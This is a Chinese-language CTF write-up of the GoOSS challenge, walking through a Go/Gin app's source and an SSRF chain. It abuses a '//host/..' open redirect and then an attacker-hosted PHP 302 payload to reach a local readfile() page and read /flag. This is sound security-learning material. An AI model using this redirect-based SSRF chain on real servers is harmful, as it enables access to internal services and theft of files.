津门杯GoOSS

津门杯GoOSS

弄懂这道题花了我很长时间,期间走了很多弯路……(wotaicaile

在写这道题的路上,我学习(了解)了DNS绑定攻击、Google账号验证、免费域名注册(白嫖)、golang、搭建go环境、gin、dlv调试golang……

gin代码

在go程序最前可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
import (
"bytes"
"crypto/md5"
"encoding/hex"
"fmt"
"io"
"io/ioutil"
"net/http"
"os"
"strings"
"time"
"github.com/gin-gonic/gin"
)

"github.com/gin-gonic/gin"既是gin框架,所以既要看得懂go,也要学看gin……

路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
func main() {
fmt.Println("start")
r := gin.Default()
r.Use(fileMidderware)
r.POST("/vul", vulController)
r.POST("/upload", uploadController)
r.GET("/", func(c *gin.Context) {
c.JSON(200, gin.H{
"message": "pong",
})
})
_ = r.Run(":1234") // listen and serve on 0.0.0.0:8080
}

r.Use(fileMidderware)设置了全局中间件

r.POST("/vul", vulController)设置了对该路径请求的局部中间件

vulController:

1
2
3
4
5
var url Url
if err := c.ShouldBindJSON(&url); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}

捆绑url为json格式,post传参时需要传:{"url":"xxxx"}

1
2
3
4
5
6
7
8
9
10
11
12
13
if !strings.HasPrefix(url.Url, "http://127.0.0.1:1234/") {
c.JSON(403, gin.H{"msg": "url forbidden"})
return
}
client := &http.Client{Timeout: 2 * time.Second}

fmt.Println("1")

resp, err := client.Get(url.Url)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}

限制了内网访问的端口

uploadController:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var file File
if err := c.ShouldBindJSON(&file); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}

dir := md5sum(file.Name)

_, err := http.Dir("./files").Open(dir)
if err != nil {
e := os.Mkdir("./files/"+dir, os.ModePerm)
_, _ = http.Dir("./files").Open(dir)
if e != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": e.Error()})
return

}

}
filename := md5sum(file.Content)
path := "./files/" + dir + "/" + filename
err = ioutil.WriteFile(path, []byte(file.Content), os.ModePerm)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}

c.JSON(200, gin.H{
"message": "file upload succ, path: " + dir + "/" + filename,
})
}

大概是在files文件夹下上传文件的功能,当时尝试了下,似乎并不存在什么漏洞……

fileMidderware:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
func fileMidderware(c *gin.Context) {
fileSystem := http.Dir("./files/")
if c.Request.URL.String() == "/" {
c.Next()
return
}
f, err := fileSystem.Open(c.Request.URL.String())
if f == nil {
c.Next()
}
if err != nil {
c.Next()
return
}
defer f.Close()
fi, err := f.Stat()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
fmt.Println("2")
if fi.IsDir() {
fmt.Println(c.Request.URL.String())
if !strings.HasSuffix(c.Request.URL.String(), "/") {
fmt.Println(c.Request.URL.String())
c.Redirect(302, c.Request.URL.String()+"/")
fmt.Println(c.Request.URL.String())
} else {
files := make([]string, 0)
l, _ := f.Readdir(0)
for _, i := range l {
files = append(files, i.Name())
}

c.JSON(http.StatusOK, gin.H{
"files": files,
})
}

} else {
data, _ := ioutil.ReadAll(f)
c.Header("content-disposition", `attachment; filename=`+fi.Name())
c.Data(200, "text/plain", data)
}

}

在/vul中请求{"url":"127.0.0.1:1234/../"}:

image-20210512201947610

访问到了上级files目录,不存在别的东西了……

源码给了index.php:

1
2
3
4
5
6
7
<?php

// php in localhost port 80

readfile($_GET['file']);

?>

如果能访问到80默认端口上的index并传参就可以获取flag

ssrf

1
2
3
4
fmt.Println(c.Request.URL.String())
if !strings.HasSuffix(c.Request.URL.String(), "/") {
fmt.Println(c.Request.URL.String())
c.Redirect(302, c.Request.URL.String()+"/")

关键是这里的代码……由于gin的配置,访问xxx.xxx.xxx/hahaxxx.xxx.xxx/haha/并不相同

strings.HasSuffix检测c.Request.URL是否以\结尾,若不是则加上并跳转。大概本意也许是想解决这个问题?(好像哪里又不大对)……

配置好dlv调试代码服务:

image-20210512203038285

c中含有request:

image-20210512203334500

request中含有host和url,这里的url应该类似为资源文件?

image-20210512204621788

如果我们传入:{"url":"http://127.0.0.1:1234//1/.."}

image-20210512203705614

网站尝试解析网址1……

在不以/结尾的情况下,302跳转直接使用c.Request.URL进行跳转,类似加载外部js,拼接上/后,//1/../被认为是相对url并予以访问(大概),造成ssrf(应该)。

https://guokeya.github.io/post/5IcFhBKyk/

大师傅说:

Location可以控制为//,而//就是省略HTTP协议的写法,以作参考。

302跳转

我们现在能控制目标机访问外网,那怎么利用这一点呢……

我们可以在自己的服务器写一个302跳转,使目标机访问后跳转到(目标机)本机的默认端口上并读取flag。

1
2
3
<?php
header("Location: http://127.0.0.1/index.php?file=/flag");
?>

image-20210512205534307

获得flag!

流程:

访问/vul-》fileMidderware-》vulController-》resp, err := client.Get(url.Url)-》fileMidderware-》302跳转(c.Request.URL)-》服务器-》302跳转-》127.0.0.1/index.php?file=xxx-》flag

总之还是搞了不少东西的,虽然有很多无用功,花了好几天,但也很增长知识。

如果哪里我理解的不对希望能告诉我!

作者

inanb

发布于

2021-05-12

更新于

2021-08-23

许可协议


:D 一言句子获取中...